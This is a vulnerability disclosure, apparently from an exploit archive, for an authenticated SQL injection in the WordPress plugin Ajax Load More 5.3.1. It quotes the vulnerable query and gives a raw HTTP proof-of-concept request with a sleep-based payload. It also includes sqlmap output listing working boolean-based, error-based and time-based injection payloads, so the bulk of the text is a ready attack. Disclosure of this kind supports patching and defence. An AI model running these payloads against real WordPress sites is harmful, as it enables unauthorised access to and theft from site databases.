WordPress Ajax Load More 5.3.1 SQL Injection

`# Exploit Title: Wordpress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection  
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang  
# Google Dork: N/A  
# Date: 2020-05-18  
# Vendor Homepage: https://connekthq.com/plugins/ajax-load-more/  
# Software Link: https://vi.wordpress.org/plugins/ajax-load-more/  
# Version: <= 5.3.1  
# Tested on: Ubuntu 18.04  
  
Description:  
A blind SQL injection vulnerability is present in Ajax load more.  
$wpdb->get_var("SELECT repeaterDefault FROM " . $table_name . " WHERE name  
= '$n'");  
  
POC:  
  
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  
Host: lab-pwn.com  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101  
Firefox/76.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://lab-pwn.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 597  
Origin: http://lab-pwn.com  
Connection: close  
Cookie:  
wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3;  
wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2;  
wp-settings-time-1=1589773793; PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1  
  
action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F%3E%22+title%3D%22%3C%3Fphp+the_title()%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater='  
or sleep(5)#&type=test&alias=&nonce=ae68ab8c91  
  
SQL map:  
custom injection marker ('*') found in option '--data'. Do you want to  
process it? [Y/n/q]  
[12:43:16] [INFO] resuming back-end DBMS 'mysql'  
[12:43:16] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: #1* ((custom) POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: action=alm_update_repeater&value=<li <?php if  
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>  
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');  
}?>  
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();  
?>"><?php the_title(); ?></a></h3>  
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>  
<?php the_excerpt(); ?>  
</li>&repeater=-2104' OR 5557=5557-- dHBa#&type=test&alias=&nonce=ae68ab8c91  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: action=alm_update_repeater&value=<li <?php if  
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>  
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');  
}?>  
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();  
?>"><?php the_title(); ?></a></h3>  
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>  
<?php the_excerpt(); ?>  
</li>&repeater=' OR (SELECT 3214 FROM(SELECT  
COUNT(*),CONCAT(0x716a6b7a71,(SELECT  
(ELT(3214=3214,1))),0x716a716b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--  
AHqK#&type=test&alias=&nonce=ae68ab8c91  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind  
Payload: action=alm_update_repeater&value=<li <?php if  
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>  
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');  
}?>  
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();  
?>"><?php the_title(); ?></a></h3>  
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>  
<?php the_excerpt(); ?>  
</li>&repeater=' OR SLEEP(5)-- pExJ#&type=test&alias=&nonce=ae68ab8c91  
---  
[12:43:17] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Nginx  
back-end DBMS: MySQL >= 5.0  
  
`